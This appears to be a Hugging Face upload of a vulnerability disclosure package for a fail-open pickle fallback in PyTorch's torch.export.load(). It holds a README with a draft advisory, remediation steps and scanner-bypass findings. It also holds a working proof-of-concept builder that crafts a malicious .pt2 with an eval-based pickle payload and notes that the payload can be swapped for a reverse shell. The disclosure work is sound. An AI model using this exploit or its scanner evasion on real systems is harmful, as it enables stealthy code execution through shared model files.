Upload folder using huggingface_hub
Browse files- README.md +232 -0
- benign.pt2 +0 -0
- build_poc.py +121 -0
- model.pt2 +0 -0
- verify_exec.py +27 -0
README.md
ADDED
|
@@ -0,0 +1,232 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# torch.export.load() `.pt2` — fail-open pickle fallback → arbitrary code execution (CWE-502 / CWE-94)
|
| 2 |
+
|
| 3 |
+
**Status:** hard-verified, staged. NOT filed. NOT uploaded.
|
| 4 |
+
**Verified on:** PyTorch **2.13.0+cpu** (latest release as of 2026-07-24), Python 3.13 (exec) / 3.12 (scanners).
|
| 5 |
+
**Verdict:** BOTH — (a) huntr Model-File-Format report (target `torch_export`) because all three scanners MISS the `.pt2`, and (b) a genuine PyTorch library ACE worthy of a GitHub Security Advisory regardless of scanner behavior.
|
| 6 |
+
|
| 7 |
+
---
|
| 8 |
+
|
| 9 |
+
## 1. Summary
|
| 10 |
+
|
| 11 |
+
`torch.export.load("model.pt2")` — the standard, documented loader for PyTorch's
|
| 12 |
+
`.pt2` export archive — deserializes the packaged `example_inputs` (and constants /
|
| 13 |
+
state_dict) through `torch._export.serde.serialize.deserialize_torch_artifact()`.
|
| 14 |
+
That function attempts a safe `torch.load(..., weights_only=True)` and, on **ANY**
|
| 15 |
+
exception, **silently falls back to `torch.load(..., weights_only=False)`**, which
|
| 16 |
+
executes arbitrary pickle `__reduce__` / `GLOBAL` code.
|
| 17 |
+
|
| 18 |
+
An attacker crafts the nested example-inputs pickle so that its first opcode is a
|
| 19 |
+
**non-allowlisted `GLOBAL`** (`__builtin__.eval`). Under `weights_only=True` the
|
| 20 |
+
safe unpickler's `find_class()` rejects it and raises — which triggers the unsafe
|
| 21 |
+
fallback, running the attacker's code. The payload returns an empty tuple, so
|
| 22 |
+
`deserialize_torch_artifact()`'s `isinstance(artifact,(tuple,dict))` post-check
|
| 23 |
+
passes and `torch.export.load()` returns a normal `ExportedProgram` with **no error
|
| 24 |
+
and no warning surfaced to the caller** — fully stealth.
|
| 25 |
+
|
| 26 |
+
This re-introduces, inside `torch.export`, exactly the arbitrary-code-execution that
|
| 27 |
+
PyTorch 2.6 closed when it flipped `torch.load`'s `weights_only` default to `True`.
|
| 28 |
+
The safe default is present but **structurally defeated by the blanket
|
| 29 |
+
`except Exception: → weights_only=False`**.
|
| 30 |
+
|
| 31 |
+
## 2. Affected component (file : line)
|
| 32 |
+
|
| 33 |
+
`torch/_export/serde/serialize.py` → `deserialize_torch_artifact()`:
|
| 34 |
+
|
| 35 |
+
```
|
| 36 |
+
427 def deserialize_torch_artifact(serialized):
|
| 37 |
+
...
|
| 38 |
+
434 buffer = io.BytesIO(serialized)
|
| 39 |
+
435 buffer.seek(0)
|
| 40 |
+
436 # weights_only=False as we want to load custom objects here (e.g. ScriptObject)
|
| 41 |
+
437 try:
|
| 42 |
+
438 artifact = torch.load(buffer, weights_only=True) # safe path
|
| 43 |
+
439 except Exception as e:
|
| 44 |
+
440 buffer.seek(0)
|
| 45 |
+
441 artifact = torch.load(buffer, weights_only=False) # <-- UNSAFE FALLBACK: arbitrary code exec
|
| 46 |
+
442 log.warning("Fallback to weights_only=False succeeded. ...")
|
| 47 |
+
...
|
| 48 |
+
448 if not isinstance(artifact, (tuple, dict)):
|
| 49 |
+
449 raise AssertionError(...)
|
| 50 |
+
```
|
| 51 |
+
|
| 52 |
+
Reached from the public API:
|
| 53 |
+
`torch.export.load()` → `torch/export/__init__.py:load()` →
|
| 54 |
+
`torch/export/pt2_archive/_package.py:load_pt2()` → `_load_exported_programs()` →
|
| 55 |
+
`ExportedProgramDeserializer.deserialize()` →
|
| 56 |
+
`GraphModuleDeserializer.deserialize()` (`serialize.py:2989`,
|
| 57 |
+
`self.example_inputs = deserialize_torch_artifact(example_inputs)`) →
|
| 58 |
+
`deserialize_torch_artifact()` (`serialize.py:442`).
|
| 59 |
+
|
| 60 |
+
- **CWE-502** Deserialization of Untrusted Data (primary)
|
| 61 |
+
- **CWE-94** Improper Control of Generation of Code (Code Injection)
|
| 62 |
+
- **CWE-693** Protection Mechanism Failure (the fallback nullifies `weights_only=True`)
|
| 63 |
+
|
| 64 |
+
## 3. Proof of concept
|
| 65 |
+
|
| 66 |
+
Build (harmless, non-destructive marker payload — writes `/tmp/PT2_RCE_POC.txt`):
|
| 67 |
+
|
| 68 |
+
```
|
| 69 |
+
python build_poc.py # -> model.pt2 (malicious) + benign.pt2 (control)
|
| 70 |
+
```
|
| 71 |
+
|
| 72 |
+
Trigger via the **standard documented loader only** (no private/internal API):
|
| 73 |
+
|
| 74 |
+
```python
|
| 75 |
+
from torch.export import load
|
| 76 |
+
load("model.pt2") # returns ExportedProgram, no exception
|
| 77 |
+
# side effect: /tmp/PT2_RCE_POC.txt now exists -> code executed at load time
|
| 78 |
+
```
|
| 79 |
+
|
| 80 |
+
`verify_exec.py` reproduces this and prints the marker contents. Observed output on
|
| 81 |
+
torch 2.13.0+cpu:
|
| 82 |
+
|
| 83 |
+
```
|
| 84 |
+
marker present BEFORE load: False
|
| 85 |
+
torch.export.load() returned: ExportedProgram (NO exception -> stealth)
|
| 86 |
+
marker present AFTER load : True
|
| 87 |
+
marker contents : pwned via torch.export.load .pt2 fail-open fallback
|
| 88 |
+
```
|
| 89 |
+
|
| 90 |
+
The captured traceback proves the exact path — the safe attempt raises, then the
|
| 91 |
+
unsafe fallback runs the gadget:
|
| 92 |
+
|
| 93 |
+
```
|
| 94 |
+
File ".../torch/_export/serde/serialize.py", line 438, in deserialize_torch_artifact
|
| 95 |
+
artifact = torch.load(buffer, weights_only=True)
|
| 96 |
+
_pickle.UnpicklingError: Weights only load failed. ...
|
| 97 |
+
WeightsUnpickler error: Unsupported global: GLOBAL eval was not an allowed global by default...
|
| 98 |
+
During handling of the above exception, another exception occurred:
|
| 99 |
+
File ".../torch/_export/serde/serialize.py", line 442, in deserialize_torch_artifact
|
| 100 |
+
log.warning("Fallback to weights_only=False succeeded. ...") # line 441 already ran the gadget
|
| 101 |
+
```
|
| 102 |
+
|
| 103 |
+
Payload delivery: the malicious pickle lives in the nested archive
|
| 104 |
+
`model/data/sample_inputs/model.pt` → `archive/data.pkl` inside the outer `.pt2`
|
| 105 |
+
zip. Disassembly of the inner pickle:
|
| 106 |
+
|
| 107 |
+
```
|
| 108 |
+
0: PROTO 2
|
| 109 |
+
2: GLOBAL '__builtin__ eval' # non-allowlisted -> raises under weights_only=True
|
| 110 |
+
BINUNICODE "(open('/tmp/PT2_RCE_POC.txt','w').write('...'), ())[1]"
|
| 111 |
+
TUPLE1
|
| 112 |
+
REDUCE # eval(payload) executes on the fallback load
|
| 113 |
+
STOP
|
| 114 |
+
```
|
| 115 |
+
|
| 116 |
+
A real attacker swaps the `eval(...)` argument for any command
|
| 117 |
+
(`os.system`, reverse shell, etc.). The gadget returns `()` so the load completes
|
| 118 |
+
cleanly and the model still functions — stealthy supply-chain implant in any
|
| 119 |
+
`.pt2` shared via a model hub.
|
| 120 |
+
|
| 121 |
+
Artifacts (sha256):
|
| 122 |
+
- `model.pt2` `bed23d781a5ab9d8d1dacc9579200e5dc9bb6bc3eb1d273e6b2436fd2b47c12e`
|
| 123 |
+
- `benign.pt2` `6260246907cb95686a45b3c5c41890da66f63dea06c797927fe068cda0a9c9ae`
|
| 124 |
+
|
| 125 |
+
## 4. Scanner results (resolves the HOLD caveat) — all three MISS the `.pt2`
|
| 126 |
+
|
| 127 |
+
Pinned versions: **modelscan 0.8.8, picklescan 1.0.5, fickling 0.1.12** (numpy 2.5.1).
|
| 128 |
+
|
| 129 |
+
| Scanner | Command | Verdict on `model.pt2` (MALICIOUS) | Verdict on `benign.pt2` (control) |
|
| 130 |
+
|---|---|---|---|
|
| 131 |
+
| modelscan 0.8.8 | `modelscan -p model.pt2` | **MISS** — "No issues found! 🎉"; error: *"ModelScan does not support nested zip files."* | No issues found |
|
| 132 |
+
| picklescan 1.0.5 | `picklescan -p model.pt2` | **MISS** — "Scanned files: 0 / Dangerous globals: 0" (never reaches the nested pickle) | Scanned files: 0 |
|
| 133 |
+
| fickling 0.1.12 | `fickling --check-safety model.pt2` | **MISS** — *"No pickle files detected"* (does not unwrap the `.pt2` → nested `.pt` zip) | No pickle files detected |
|
| 134 |
+
|
| 135 |
+
Fickling only flags the gadget if a human **manually double-unzips** to the raw
|
| 136 |
+
inner `archive/data.pkl` (then reports `OVERTLY_MALICIOUS`) — but it also flags the
|
| 137 |
+
**benign** control's inner pickle as `LIKELY_UNSAFE` (`_rebuild_tensor_v2`), so even
|
| 138 |
+
that manual path is not a clean discriminator, and no automated `.pt2` scan reaches
|
| 139 |
+
it.
|
| 140 |
+
|
| 141 |
+
**Conclusion:** against the delivered `.pt2` artifact, **all three scanners provide
|
| 142 |
+
zero detection** → this is a clean scanner-bypass, hence huntr Model-File-Format
|
| 143 |
+
eligible (target `torch_export`) **and** an unmediated library RCE.
|
| 144 |
+
|
| 145 |
+
Root cause of the bypass (independent of the fail-open bug): the `.pt2` is a zip
|
| 146 |
+
containing a nested torch-save zip (`sample_inputs/model.pt`) that itself contains
|
| 147 |
+
the pickle — two levels of zip nesting that none of the three scanners descend into.
|
| 148 |
+
|
| 149 |
+
---
|
| 150 |
+
|
| 151 |
+
## 5. huntr Model-File-Format report (target: `torch_export`)
|
| 152 |
+
|
| 153 |
+
- **Title:** `torch.export.load()` executes arbitrary code from a crafted `.pt2` via fail-open `weights_only=False` fallback
|
| 154 |
+
- **Format / target:** `torch_export` (`.pt2`)
|
| 155 |
+
- **Vulnerability type:** Deserialization of Untrusted Data → RCE (CWE-502 / CWE-94)
|
| 156 |
+
- **Loader (standard, documented):** `torch.export.load(path)`
|
| 157 |
+
- **Affected:** PyTorch through 2.13.0 (latest); the fallback is present wherever
|
| 158 |
+
`deserialize_torch_artifact` exists in `torch/_export/serde/serialize.py`.
|
| 159 |
+
- **Scanner status:** modelscan 0.8.8 / picklescan 1.0.5 / fickling 0.1.12 all report
|
| 160 |
+
the malicious `.pt2` as clean (evidence table §4).
|
| 161 |
+
- **Impact:** loading an untrusted `.pt2` (e.g. downloaded from a model hub) executes
|
| 162 |
+
attacker code at load time; model returns normally afterward (stealth).
|
| 163 |
+
- **PoC:** `build_poc.py` + `verify_exec.py` (§3).
|
| 164 |
+
|
| 165 |
+
## 6. PyTorch GitHub Security Advisory draft
|
| 166 |
+
|
| 167 |
+
**Summary.** `torch.export.load()` on a crafted `.pt2` archive achieves arbitrary
|
| 168 |
+
code execution. `torch._export.serde.serialize.deserialize_torch_artifact()`
|
| 169 |
+
attempts `torch.load(weights_only=True)` and, on **any** exception, silently retries
|
| 170 |
+
with `weights_only=False`, defeating the safe-by-default protection introduced in
|
| 171 |
+
PyTorch 2.6. A single non-allowlisted `GLOBAL` in the packaged example-inputs pickle
|
| 172 |
+
forces the safe attempt to raise and triggers the unsafe fallback.
|
| 173 |
+
|
| 174 |
+
**Affected versions.** Confirmed on `torch==2.13.0` (latest). The vulnerable
|
| 175 |
+
fail-open pattern is present in the current `main` and every release whose
|
| 176 |
+
`serialize.py` contains this try/except.
|
| 177 |
+
|
| 178 |
+
**Attack vector.** A malicious `.pt2` model file distributed via a model hub or any
|
| 179 |
+
untrusted channel; the victim invokes the ordinary `torch.export.load()`.
|
| 180 |
+
|
| 181 |
+
**CVSS 3.1:** `AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` = **8.8 (High)**.
|
| 182 |
+
(Network-distributed model file; requires the victim to load it; full C/I/A loss via
|
| 183 |
+
arbitrary code execution.)
|
| 184 |
+
|
| 185 |
+
**Root cause.** `serialize.py:437-441`:
|
| 186 |
+
```python
|
| 187 |
+
try:
|
| 188 |
+
artifact = torch.load(buffer, weights_only=True)
|
| 189 |
+
except Exception as e: # too broad
|
| 190 |
+
buffer.seek(0)
|
| 191 |
+
artifact = torch.load(buffer, weights_only=False) # arbitrary code execution
|
| 192 |
+
```
|
| 193 |
+
`weights_only=True` raises `UnpicklingError` for *any* non-allowlisted global —
|
| 194 |
+
including benign-but-unlisted types — and the handler responds by disabling the
|
| 195 |
+
safety check entirely, so any attacker who can make the safe path raise (trivial:
|
| 196 |
+
include one disallowed `GLOBAL`) gains code execution.
|
| 197 |
+
|
| 198 |
+
**Reproduction.** See §3 (`build_poc.py`, `verify_exec.py`); harmless marker payload.
|
| 199 |
+
|
| 200 |
+
**Impact.** Remote code execution on any host that loads an untrusted `.pt2` with the
|
| 201 |
+
documented API. Silent — the load succeeds and the model works, enabling stealthy
|
| 202 |
+
supply-chain compromise.
|
| 203 |
+
|
| 204 |
+
**Remediation.**
|
| 205 |
+
1. Remove the fail-open fallback — never downgrade to `weights_only=False`
|
| 206 |
+
automatically. If custom objects are genuinely required, gate them behind an
|
| 207 |
+
explicit, caller-supplied opt-in (e.g. a `trust`/`allow_unsafe` argument that
|
| 208 |
+
defaults to `False`), never as an automatic exception handler.
|
| 209 |
+
2. If a fallback must exist, restrict it to a curated `safe_globals` allowlist via
|
| 210 |
+
`torch.serialization.safe_globals([...])` rather than unrestricted
|
| 211 |
+
`weights_only=False`.
|
| 212 |
+
3. Do not silence the downgrade to `log.warning`; a security-relevant downgrade
|
| 213 |
+
should raise by default.
|
| 214 |
+
4. Have `.pt2` loading refuse nested pickles carrying non-allowlisted globals
|
| 215 |
+
outright.
|
| 216 |
+
|
| 217 |
+
---
|
| 218 |
+
|
| 219 |
+
## 7. Files in this package
|
| 220 |
+
|
| 221 |
+
- `build_poc.py` — regenerates `model.pt2` (malicious) and `benign.pt2` (control); harmless marker payload only.
|
| 222 |
+
- `verify_exec.py` — loads `model.pt2` via `torch.export.load()` and confirms the marker was written (exec proof).
|
| 223 |
+
- `model.pt2` — malicious PoC archive.
|
| 224 |
+
- `benign.pt2` — benign control (scanner baseline).
|
| 225 |
+
- `README.md` — this document.
|
| 226 |
+
|
| 227 |
+
## 8. Environment / versions
|
| 228 |
+
|
| 229 |
+
- torch: **2.13.0+cpu** (latest release, confirmed via PyTorch cpu index)
|
| 230 |
+
- python: 3.13 (exec venv), 3.12 (scanner venv — modelscan 0.8.8 requires <3.13)
|
| 231 |
+
- modelscan: **0.8.8**, picklescan: **1.0.5**, fickling: **0.1.12**, numpy: 2.5.1
|
| 232 |
+
- Exec confirmed: **YES** — `/tmp/PT2_RCE_POC.txt` written by `torch.export.load("model.pt2")`.
|
benign.pt2
ADDED
|
Binary file (5.56 kB). View file
|
|
|
build_poc.py
ADDED
|
@@ -0,0 +1,121 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
PoC builder for: torch.export.load() .pt2 fail-open pickle RCE
|
| 4 |
+
(CWE-502 / CWE-94) — torch/_export/serde/serialize.py::deserialize_torch_artifact
|
| 5 |
+
|
| 6 |
+
Produces:
|
| 7 |
+
model.pt2 -> malicious .pt2. torch.export.load("model.pt2") runs a
|
| 8 |
+
HARMLESS marker payload: writes /tmp/PT2_RCE_POC.txt
|
| 9 |
+
benign.pt2 -> control: a normal exported program (scanner baseline)
|
| 10 |
+
|
| 11 |
+
Mechanism
|
| 12 |
+
---------
|
| 13 |
+
torch.export.load() unzips the .pt2 outer archive and, for the packaged
|
| 14 |
+
example_inputs, calls deserialize_torch_artifact(bytes) which does:
|
| 15 |
+
|
| 16 |
+
try: torch.load(buffer, weights_only=True) # safe path
|
| 17 |
+
except Exception:
|
| 18 |
+
torch.load(buffer, weights_only=False) # <-- UNSAFE fallback
|
| 19 |
+
|
| 20 |
+
The example_inputs blob is itself a torch save archive (a nested zip:
|
| 21 |
+
clean/data/sample_inputs/model.pt). We replace that nested archive's
|
| 22 |
+
`archive/data.pkl` with a pickle whose first opcode is a NON-allowlisted
|
| 23 |
+
GLOBAL (`__builtin__.eval`). Under weights_only=True the safe Unpickler's
|
| 24 |
+
find_class() rejects it and raises -> the except branch fires -> the SAME
|
| 25 |
+
bytes are re-loaded with weights_only=False -> the reduce runs arbitrary code.
|
| 26 |
+
|
| 27 |
+
The reduce returns `(<side-effect>, ())[1]` == () (empty tuple), so
|
| 28 |
+
deserialize_torch_artifact's post-check `isinstance(artifact,(tuple,dict))`
|
| 29 |
+
passes and torch.export.load() returns a normal ExportedProgram with NO error
|
| 30 |
+
-> fully stealth.
|
| 31 |
+
"""
|
| 32 |
+
import io
|
| 33 |
+
import os
|
| 34 |
+
import struct
|
| 35 |
+
import zipfile
|
| 36 |
+
|
| 37 |
+
import torch
|
| 38 |
+
from torch.export import export, save
|
| 39 |
+
|
| 40 |
+
HERE = os.path.dirname(os.path.abspath(__file__))
|
| 41 |
+
|
| 42 |
+
# Harmless proof-of-execution marker (NON-destructive).
|
| 43 |
+
MARKER = "/tmp/PT2_RCE_POC.txt"
|
| 44 |
+
PAYLOAD_SRC = (
|
| 45 |
+
"(open(%r,'w').write('pwned via torch.export.load .pt2 fail-open fallback'), ())[1]"
|
| 46 |
+
% MARKER
|
| 47 |
+
)
|
| 48 |
+
|
| 49 |
+
|
| 50 |
+
def build_benign(path):
|
| 51 |
+
class Net(torch.nn.Module):
|
| 52 |
+
def forward(self, x):
|
| 53 |
+
return x + 1.0
|
| 54 |
+
|
| 55 |
+
m = Net().eval()
|
| 56 |
+
ex = (torch.randn(4),)
|
| 57 |
+
ep = export(m, ex)
|
| 58 |
+
save(ep, path)
|
| 59 |
+
|
| 60 |
+
|
| 61 |
+
def make_malicious_inner_pt(template_bytes: bytes) -> bytes:
|
| 62 |
+
"""Take a real torch-save archive (the sample_inputs model.pt) and swap
|
| 63 |
+
its archive/data.pkl for our fail-open RCE pickle, preserving all other
|
| 64 |
+
entries so the container still looks like a legit torch archive."""
|
| 65 |
+
payload = PAYLOAD_SRC.encode()
|
| 66 |
+
mal_pickle = (
|
| 67 |
+
b"\x80\x02" # PROTO 2
|
| 68 |
+
b"c__builtin__\neval\nq\x00" # GLOBAL '__builtin__ eval' (NOT allowlisted)
|
| 69 |
+
+ b"X" + struct.pack("<I", len(payload)) + payload + b"q\x01" # BINUNICODE payload
|
| 70 |
+
+ b"\x85q\x02" # TUPLE1
|
| 71 |
+
+ b"Rq\x03" # REDUCE -> eval(payload) executes here
|
| 72 |
+
+ b"." # STOP
|
| 73 |
+
)
|
| 74 |
+
zin = zipfile.ZipFile(io.BytesIO(template_bytes), "r")
|
| 75 |
+
out = io.BytesIO()
|
| 76 |
+
zout = zipfile.ZipFile(out, "w", zipfile.ZIP_STORED)
|
| 77 |
+
for item in zin.infolist():
|
| 78 |
+
data = zin.read(item.filename)
|
| 79 |
+
if item.filename.endswith("/data.pkl") or item.filename.endswith("data.pkl"):
|
| 80 |
+
data = mal_pickle
|
| 81 |
+
zout.writestr(item, data)
|
| 82 |
+
zout.close()
|
| 83 |
+
return out.getvalue()
|
| 84 |
+
|
| 85 |
+
|
| 86 |
+
def build_malicious(path):
|
| 87 |
+
# 1. Build a clean .pt2 to use as the container template. The archive's
|
| 88 |
+
# internal top-level dir is derived from the file stem, so build the
|
| 89 |
+
# template with the final stem ("model") for a clean-looking container.
|
| 90 |
+
import tempfile
|
| 91 |
+
tmpdir = tempfile.mkdtemp()
|
| 92 |
+
tmp = os.path.join(tmpdir, "model.pt2")
|
| 93 |
+
build_benign(tmp)
|
| 94 |
+
|
| 95 |
+
# 2. Open the outer .pt2 zip, locate the nested sample_inputs model.pt,
|
| 96 |
+
# swap in the malicious inner archive, rewrite the outer zip.
|
| 97 |
+
zin = zipfile.ZipFile(tmp, "r")
|
| 98 |
+
out = io.BytesIO()
|
| 99 |
+
zout = zipfile.ZipFile(out, "w", zipfile.ZIP_STORED)
|
| 100 |
+
replaced = False
|
| 101 |
+
for item in zin.infolist():
|
| 102 |
+
data = zin.read(item.filename)
|
| 103 |
+
if item.filename.endswith("/sample_inputs/model.pt"):
|
| 104 |
+
data = make_malicious_inner_pt(data)
|
| 105 |
+
replaced = True
|
| 106 |
+
zout.writestr(item, data)
|
| 107 |
+
zout.close()
|
| 108 |
+
zin.close()
|
| 109 |
+
assert replaced, "did not find sample_inputs/model.pt to poison"
|
| 110 |
+
with open(path, "wb") as f:
|
| 111 |
+
f.write(out.getvalue())
|
| 112 |
+
os.remove(tmp)
|
| 113 |
+
|
| 114 |
+
|
| 115 |
+
if __name__ == "__main__":
|
| 116 |
+
mal = os.path.join(HERE, "model.pt2")
|
| 117 |
+
ben = os.path.join(HERE, "benign.pt2")
|
| 118 |
+
build_malicious(mal)
|
| 119 |
+
build_benign(ben)
|
| 120 |
+
print("built", mal)
|
| 121 |
+
print("built", ben)
|
model.pt2
ADDED
|
Binary file (4.38 kB). View file
|
|
|
verify_exec.py
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import logging, os, sys, io, traceback
|
| 2 |
+
# capture the torch warning that proves the fail-open branch ran
|
| 3 |
+
logbuf = io.StringIO()
|
| 4 |
+
h = logging.StreamHandler(logbuf); h.setLevel(logging.WARNING)
|
| 5 |
+
logging.getLogger("torch._export.serde.serialize").addHandler(h)
|
| 6 |
+
logging.getLogger("torch._export.serde.serialize").setLevel(logging.WARNING)
|
| 7 |
+
|
| 8 |
+
MARKER = "/tmp/PT2_RCE_POC.txt"
|
| 9 |
+
if os.path.exists(MARKER): os.remove(MARKER)
|
| 10 |
+
|
| 11 |
+
import torch
|
| 12 |
+
from torch.export import load
|
| 13 |
+
|
| 14 |
+
print("torch", torch.__version__)
|
| 15 |
+
print("marker present BEFORE load:", os.path.exists(MARKER))
|
| 16 |
+
|
| 17 |
+
ep = load(os.path.join(os.path.dirname(os.path.abspath(__file__)), "model.pt2"))
|
| 18 |
+
print("torch.export.load() returned:", type(ep).__name__, "(NO exception -> stealth)")
|
| 19 |
+
|
| 20 |
+
present = os.path.exists(MARKER)
|
| 21 |
+
print("marker present AFTER load :", present)
|
| 22 |
+
if present:
|
| 23 |
+
print("marker contents :", open(MARKER).read())
|
| 24 |
+
|
| 25 |
+
print("---- torch serialize logger output (proves fallback branch) ----")
|
| 26 |
+
print(logbuf.getvalue().strip() or "(no warning captured)")
|
| 27 |
+
sys.exit(0 if present else 2)
|